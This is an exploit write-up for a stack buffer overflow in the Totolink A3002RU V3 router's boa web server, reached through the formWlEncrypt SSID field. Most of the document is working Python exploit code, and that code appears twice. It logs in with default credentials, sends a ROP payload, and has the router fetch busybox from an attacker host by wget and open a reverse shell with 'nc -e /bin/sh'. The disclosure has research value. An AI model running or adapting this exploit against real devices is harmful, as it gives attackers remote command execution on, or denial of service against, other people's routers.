[VERSION]
Totolink AC1200 Wireless Dual Band Gigabit Router A3002RU_V3 Firmware V3.0.0-B20230809.1615
PROBLEM TYPE
Buffer Overflow
[DESCRIPTION]
The router model A3002RU V3 from Totolink is vulnerable to a stack buffer overflow exploit in its firmware version A3002RU_V3 Firmware V3.0.0-B20230809.1615, leading to arbitrary command execution or denial of service attacks.
Exploit Author:Yaxuan Wang
Date: April 29, 2024, 10:23:38
Tested on: Kali 6.6.9-1kali1 (2024-01-08) x86_64 GNU/Linux
https://github.com/Swind1er/Video/raw/main/bandicam%202024-04-29%2011-15-32-400.mp4
AC1200 Wireless Dual Band Gigabit Router A3002RU V3.0.0-B20230809.1615
https://www.totolink.net/data/upload/20201021/022e389012d3c2ebe651b039c0088c60.zip
git clone https://github.com/Swind1er/Download
unrar x A3002RU-V3.0.0-B20230809.1615.rar
binwalk --run-as=root -Me ./TOTOLINK-A3002RU-Hh-V3.0.0-B20230809.1615.web
└─# readelf -h ./bin/busybox
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: MIPS R3000
Version: 0x1
Entry point address: 0x402f00
└─# checksec ./bin/boa
[!] Could not populate MIPS GOT: seek out of range
[!] Did not find any GOT entries
[*] '/root/Desktop/share/emb/firmware/_TOTOLINK-A3002RU-Hh-V3.0.0-B20230809.1615.web.extracted/squashfs-root/bin/boa'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Architecture: MIPS little endian
File Location
squashfs-root/bin/boa
Vulnerable File
Using IDA to analyze the boa
file, at RVA: 0x0043B854, there is a function responsible for adding WLAN SSID. This function is a sub-function of the CGI handler function formWlEncrypt
.
int __fastcall setWlan(int a1, int a2, int wlan_ssid)
{
int v6; // $a1
int v7; // $a1
char wlan_ssid_apmib[36]; // [sp+18h] [-38h] BYREF
char v10[12]; // [sp+3Ch] [-14h] BYREF
int v11; // [sp+48h] [-8h] BYREF
apmib_save_wlanIdx();
sprintf(v10, "wlan%d-vxd", a1);
sub_424FE0(v10, v6);
apmib_get(1, wlan_ssid_apmib);
if ( strcmp(wlan_ssid_apmib, wlan_ssid) && strcmp(wlan_ssid, wlan_ssid_apmib) )
{
v11 = 1;
apmib_set(0x110, &v11);
strcpy(wlan_ssid_apmib, wlan_ssid);
apmib_set(1, wlan_ssid_apmib);
apmib_set(0x116, wlan_ssid_apmib);
apmib_set(a2, wlan_ssid_apmib);
}
sprintf(v10, "wlan%d", a1);
sub_424FE0(v10, v7);
return apmib_recov_wlanIdx();
}
In the CGI handler function formWlEncrypt
of the web server (boa) in this firmware, the vendor only implemented simple character count control at the web front-end layer for the user-input wlan_ssid
field, without enforcing any character count limit at the backend. This leads to a stack overflow due to strcpy(wlan_ssid_apmib, wlan_ssid);
, subsequently resulting in arbitrary command execution or denial of service attacks. It's important to note that to reach the vulnerability point strcpy
, the vwlan_idx
field (RVA: 0x00490660) needs to be greater than or equal to 5. In the function at RVA 0043F3B0
, as shown in the following figure:
To make the wlan_idx
field greater than or equal to five, you can invoke its CGI function formMultiAP
, with RVA 0x0045DB08
, as shown below:
To make the vwlan_idx
field greater than or equal to 5, you need to construct the following request. Specific verification will be provided below.
-
FirmAE github:https://github.com/pr0v3rbs/FirmAE
-
gdb-multiarch
apt-get install gdb-multiarch
-
Python version >= 3.8 and install the requests and pwntools libraries. Gallopsled/pwntools: CTF framework and exploit development library (github.com)
pip install requests sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential python3 -m pip install --upgrade pip python3 -m pip install --upgrade pwntools
-
busybox-mipsel Download here:Swind1er/Download (github.com)
-
netcat
sudo apt-get install netcat
For ease of validation, the author simulated the router firmware using FirmAE.
First, the router firmware is simulated. It takes some time during the initial simulation of the firmware using FirmAE.
/root/Desktop/share/emb/firmware/exct/A3002RU-V3.0.0-B20230809.1615/TOTOLINK-A3002RU-Hh-V3.0.0-B20230809.1615.web
After the router comes online, we can access its web control page. (In the FirmAE simulation, the IP assigned to this router model is 192.168.0.1, and the default username and password for this router model are both admin.)
formMultiAP
First, you need to call the formMultiAP
CGI function to increase the value of the vwlan_idx
field to 5. A simple exploit script is as follows:
from pwn import *
import logging
import requests
import re
logging.basicConfig(level=logging.DEBUG)
sessionId = ""
def invokeformLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, json=data)
if response.status_code != 200:
logging.error("Failed to log in!")
exit(0)
def invokeGetSession():
global sessionId
url = "http://192.168.0.1/title.htm"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Referer": "http://192.168.0.1/wizardset.htm",
"Upgrade-Insecure-Requests": "1"
}
response = requests.get(url, headers=headers)
sessionid_pattern = re.compile(r"var\s+sessionid\s*=\s*'([^']+)';")
sessionid_match = sessionid_pattern.search(response.text)
if sessionid_match:
sessionid_value = sessionid_match.group(1)
sessionId = sessionid_value
logging.debug(f"sessionId--->{sessionId}")
else:
logging.error("sessionid no found!")
exit(0)
def invokeformMultiAP():
url = "http://192.168.0.1/boafrm/formMultiAP"
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/wlsecurity.htm"
}
data = {
"sessionCheck": f"{sessionId}",
"submit-url": "/wlsecurity.htm",
"start_wsc": "",
"needEnable11kv": "1",
"save_apply": "1"
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
assert(f'Failed to add wlan_idx. Status_code: {response.status_code}')
else:
logging.info('Successfully added wlan_idx.')
def main():
invokeformLogin()
invokeGetSession()
invokeformMultiAP()
if __name__ == '__main__':
main()
First, attach boa
using the gdbserver provided by FirmAE.
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
~ # ps | grep boa
581 root 4248 S boa
615 root 1036 S grep boa
~ # /firmadyne/gdbserver 192.168.0.1:1337 --attach 581
Attached; pid = 581
Listening on port 1337
On the host machine, use gdb-multiarch for debugging.
gdb-multiarch -x ./mipsel.cmd
The contents of mipsel.cmd
are as follows:
set architecture mips
set endian little
set follow-fork-mode parent
b *0x0045E290
target remote 192.168.0.1:1337
At the address 0x0045E290, which marks the end of the formMultiAP
function, set a breakpoint to conveniently observe the value of vwlan_idx
.
Before sending the request, let's first check the value of vwlan_idx
, as shown in the following figure:
You can see that the current value of vwlan_idx
is 0. Run the script:
python ./add_wlan_idx.py
The first step of the exploit is complete.
Step 2: Trigger the stack overflow.
ASLR is disabled by default in the real environment, so use the following command to disable ASLR in the simulation environment:
echo 0 > /proc/sys/kernel/randomize_va_space
Then run the following exploit:
from pwn import *
import logging
import requests
import re
import subprocess
logging.basicConfig(level=logging.DEBUG)
sessionId = ""
def invokeFormLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, json=data)
if response.status_code != 200:
logging.error("Failed to log in!")
exit(0)
def invokeGetSession():
global sessionId
url = "http://192.168.0.1/title.htm"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Referer": "http://192.168.0.1/wizardset.htm",
"Upgrade-Insecure-Requests": "1"
}
response = requests.get(url, headers=headers)
sessionid_pattern = re.compile(r"var\s+sessionid\s*=\s*'([^']+)';")
sessionid_match = sessionid_pattern.search(response.text)
if sessionid_match:
sessionid_value = sessionid_match.group(1)
sessionId = sessionid_value
logging.debug(f"sessionId--->{sessionId}")
else:
logging.error("sessionid no found!")
exit(0)
def invokeformMultiAP():
url = "http://192.168.0.1/boafrm/formMultiAP"
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/wlsecurity.htm"
}
data = {
"sessionCheck": f"{sessionId}",
"submit-url": "/wlsecurity.htm",
"start_wsc": "",
"needEnable11kv": "1",
"save_apply": "1"
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
assert(f'Failed to add wlan_idx. Status_code: {response.status_code}')
else:
logging.info('Successfully added wlan_idx.')
def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cef000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
#On this virtual device, the base address of ulibc is 0x77cef000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
try:
libc_base = 0x77cd7000
system = libc_base + 0x00067778
ra = libc_base + 0x00028754
s1 = libc_base + 0x00049544
s0 = system
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
# .text:00028754 addiu $t9, $s1, -0x7F00
# .text:00028758 jalr $t9 ; sub_28100
# .text:0002875C addiu $a1, $sp, 0x9C
# .text:00049544 move $a0, $a1
# .text:00049548 move $t9, $s0
# .text:0004954C jalr $t9 ; fprintf
# .text:00049550 addiu $a1, $t8, (aConnectToAddre - 0x70000)
payload_factory = bytes(f'sessionCheck={sessionId}&submit-url=%2Fwlsecurity.htm&opmode_wizard=&staControlPrefer=0&staControlEnabled=0&80211v_enable_=disable&dot11k_=enable&SSID_Setting5=1&has_vwlan5=&wpaAuth5=psk&wpa11w5=none&wpa2EnableSHA2565=disable&ciphersuite5=aes&wpa2ciphersuite5=aes&wps_clear_configure_by_reg5=0&wlan_disabled5=0&wlan_ssid5=',encoding='utf-8')
payload_factory += b"a"*56+p32(s0)+p32(s1+0x7F00)+b"s2aa"+p32(ra)+b"c"*0x9C+cmd
payload_factory += b'&method5=0&wlcontroltime5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2&key5=&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1\r\n'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += payload_factory
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
except Exception as e:
logging.error(f"An error occurred: {e}")
finally:
server_process.terminate()
def main():
invokeFormLogin()
invokeGetSession()
invokeformMultiAP()
attack()
if __name__ == '__main__':
main()
python ./exp.py
As shown in the image above, the shell has been successfully rebound.
from pwn import *
import logging
import requests
import re
import subprocess
logging.basicConfig(level=logging.DEBUG)
sessionId = ""
def invokeFormLogin():
url = "http://192.168.0.1/boafrm/formLogin"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/login.htm"
}
data = {
"topicurl": "setting/setUserLogin",
"username": "admin",
"userpass": "admin",
"submit-url": "/login.htm"
}
response = requests.post(url, headers=headers, json=data)
if response.status_code != 200:
logging.error("Failed to log in!")
exit(0)
def invokeGetSession():
global sessionId
url = "http://192.168.0.1/title.htm"
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Referer": "http://192.168.0.1/wizardset.htm",
"Upgrade-Insecure-Requests": "1"
}
response = requests.get(url, headers=headers)
sessionid_pattern = re.compile(r"var\s+sessionid\s*=\s*'([^']+)';")
sessionid_match = sessionid_pattern.search(response.text)
if sessionid_match:
sessionid_value = sessionid_match.group(1)
sessionId = sessionid_value
logging.debug(f"sessionId--->{sessionId}")
else:
logging.error("sessionid no found!")
exit(0)
def invokeformMultiAP():
url = "http://192.168.0.1/boafrm/formMultiAP"
headers = {
"Host": "192.168.0.1",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://192.168.0.1",
"Connection": "close",
"Referer": "http://192.168.0.1/wlsecurity.htm"
}
data = {
"sessionCheck": f"{sessionId}",
"submit-url": "/wlsecurity.htm",
"start_wsc": "",
"needEnable11kv": "1",
"save_apply": "1"
}
response = requests.post(url, headers=headers, data=data)
if response.status_code != 200:
assert(f'Failed to add wlan_idx. Status_code: {response.status_code}')
else:
logging.info('Successfully added wlan_idx.')
def attack():
io = remote('192.168.0.1',80)
server_process = subprocess.Popen(['python', '-m', 'http.server'])
sleep(2)
logging.info("Please ensure that your device and your host are on the same local network, with the IP address of the target device being 192.168.0.1 and the host IP address being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.")
logging.info("To successfully execute the reverse shell payload, ensure that the busybox-mipsel binary and the Python script are located in the same directory so that the targeted machine can\successfully download the file from the host.")
logging.warning("On this virtual device, the loading base address of /lib/libuClibc-0.9.33.so is 0x77cef000. If you are using FirmAE mode for verification, please disable ASLR and use gdb + pwndbg's vmmap or other methods to determine the base address of libuClibc-0.9.33.so. If you cannot determine the runtime base address of ulibc, this attack payload will cause the device service to go offline, resulting in a denial of service attack.")
#On this virtual device, the base address of ulibc is 0x77cef000.
#If you are using FirmAE mode for verification, please disable ASLR
#and determine the base value of ulibc using gdb + pwndbg's vmmap or other methods.
#To successfully execute the reverse shell payload, ensure that the busybox-mipsel
# binary and the Python script are located in the same directory so that the targeted
#machine can successfully download the file from the host.
#Please ensure that your device and your host are on the same local network, with the
#IP address of the target device being 192.168.0.1 and the host IP address
#being 192.168.0.2. Such IP assignments are common in devices simulated by FirmAE.
try:
libc_base = 0x77cd7000
system = libc_base + 0x00067778
ra = libc_base + 0x00028754
s1 = libc_base + 0x00049544
s0 = system
cmd = b'wget http://192.168.0.2:8000/busybox-mipsel;sleep 3;chmod 777 ./busybox-mipsel;./busybox-mipsel nc 192.168.0.2 2333 -e /bin/sh;\00'
# .text:00028754 addiu $t9, $s1, -0x7F00
# .text:00028758 jalr $t9 ; sub_28100
# .text:0002875C addiu $a1, $sp, 0x9C
# .text:00049544 move $a0, $a1
# .text:00049548 move $t9, $s0
# .text:0004954C jalr $t9 ; fprintf
# .text:00049550 addiu $a1, $t8, (aConnectToAddre - 0x70000)
payload_factory = bytes(f'sessionCheck={sessionId}&submit-url=%2Fwlsecurity.htm&opmode_wizard=&staControlPrefer=0&staControlEnabled=0&80211v_enable_=disable&dot11k_=enable&SSID_Setting5=1&has_vwlan5=&wpaAuth5=psk&wpa11w5=none&wpa2EnableSHA2565=disable&ciphersuite5=aes&wpa2ciphersuite5=aes&wps_clear_configure_by_reg5=0&wlan_disabled5=0&wlan_ssid5=',encoding='utf-8')
payload_factory += b"a"*56+p32(s0)+p32(s1+0x7F00)+b"s2aa"+p32(ra)+b"c"*0x9C+cmd
payload_factory += b'&method5=0&wlcontroltime5=0&stanums5=32&authType5=auto&wepKeyLen5=wep64&wepEnabled5=ON&length5=1&format5=2&key5=&pskFormat5=0&pskValue5=&preAuth5=&radiusIP5=&radiusPort5=1812&radiusPass5=&use1x5=OFF&eapType5=0&eapInsideType5=0&eapUserId5=&radiusUserName5=&radiusUserPass5=&radiusUserCertPass5=&wl_access5=0&tx_restrict5=0&rx_restrict5=0&hiddenSSID5=0&sync_password5=1&save_apply=1\r\n'
payload = b'POST /boafrm/formWlEncrypt HTTP/1.1\r\n'
payload += b'Host: 192.168.0.1\r\n'
payload += b'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n'
payload += b'Accept: */*\r\n'
payload += b'Accept-Language: en-US,en;q=0.5\r\n'
payload += b'Accept-Encoding: gzip, deflate\r\n'
payload += b'Content-Type: application/x-www-form-urlencoded; charset=UTF-8\r\n'
payload += b'X-Requested-With: XMLHttpRequest\r\n'
payload += bytes(f'Content-Length: {len(payload_factory)}\r\n',encoding='utf-8')
payload += b'Origin: http://192.168.0.1\r\n'
payload += b'Connection: close\r\n'
payload += b'Referer: http://192.168.0.1/wlsecurity.htm\r\n\r\n'
payload += payload_factory
io.send(payload)
io.close()
result = subprocess.run(f'nc -lvnp 2333', shell=True)
if result.returncode == 0:
logging.info("Done")
else:
logging.error("Command execution failed.")
except Exception as e:
logging.error(f"An error occurred: {e}")
finally:
server_process.terminate()
def main():
invokeFormLogin()
invokeGetSession()
invokeformMultiAP()##After auditing the code, it was found that this function call is not necessary, but it still works without any impact on the result.
attack()
if __name__ == '__main__':
main()